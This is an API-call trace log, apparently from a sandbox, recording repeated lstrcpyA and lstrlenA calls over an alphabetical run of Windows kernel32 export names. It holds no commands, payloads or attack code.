lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0126.673] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0126.673] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0126.673] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0126.673] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0126.673] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0126.673] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0126.673] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0126.673] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0126.673] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0126.673] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0126.673] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0126.673] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0126.673] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0126.673] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0126.673] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0126.673] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0126.674] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0126.674] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0126.674] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0126.674] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0126.674] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0126.674] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0126.674] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0126.674] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0126.674] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0126.674] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0126.674] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0126.674] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0126.675] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0126.675] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0126.675] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0126.675] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0126.675] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0126.675] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0126.675] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0126.675] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0126.675] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0126.675] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0126.675] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0126.675] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0126.675] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0126.675] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0126.675] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0126.675] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0126.675] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0126.676] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0126.676] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0126.676] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0126.676] lstrlenA (lpString="BEEP") returned 4 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0126.676] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0126.676] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0126.676] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0126.676] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0126.676] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0126.676] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0126.676] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0126.676] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0126.676] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0126.676] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0126.676] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0126.676] lstrlenA (lpString="CANCELIO") returned 8 [0126.676] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0126.677] lstrlenA (lpString="CANCELIOEX") returned 10 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0126.677] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0126.677] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0126.677] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0126.677] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0126.677] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0126.677] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0126.677] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0126.677] lstrlenA (lpString="CHECKELEVATION") returned 14 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0126.677] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0126.677] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0126.677] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0126.677] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0126.677] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0126.677] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0126.677] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0126.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0126.678] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0126.678] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0126.678] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0126.678] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0126.678] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0126.678] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0126.678] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0126.678] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0126.678] lstrlenA (lpString="CLOSESTATE") returned 10 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0126.678] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0126.678] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0126.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0126.678] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0126.679] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0126.679] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0126.679] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0126.679] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0126.679] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0126.679] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0126.679] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0126.679] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0126.679] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0126.679] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0126.679] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0126.679] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0126.679] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0126.679] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0126.679] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0126.679] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0126.680] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0126.680] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0126.680] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0126.680] lstrlenA (lpString="COPYCONTEXT") returned 11 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0126.680] lstrlenA (lpString="COPYFILE2") returned 9 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0126.680] lstrlenA (lpString="COPYFILEA") returned 9 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0126.680] lstrlenA (lpString="COPYFILEEXA") returned 11 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0126.680] lstrlenA (lpString="COPYFILEEXW") returned 11 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0126.680] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0126.680] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0126.680] lstrlenA (lpString="COPYFILEW") returned 9 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0126.680] lstrlenA (lpString="COPYLZFILE") returned 10 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0126.680] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0126.680] 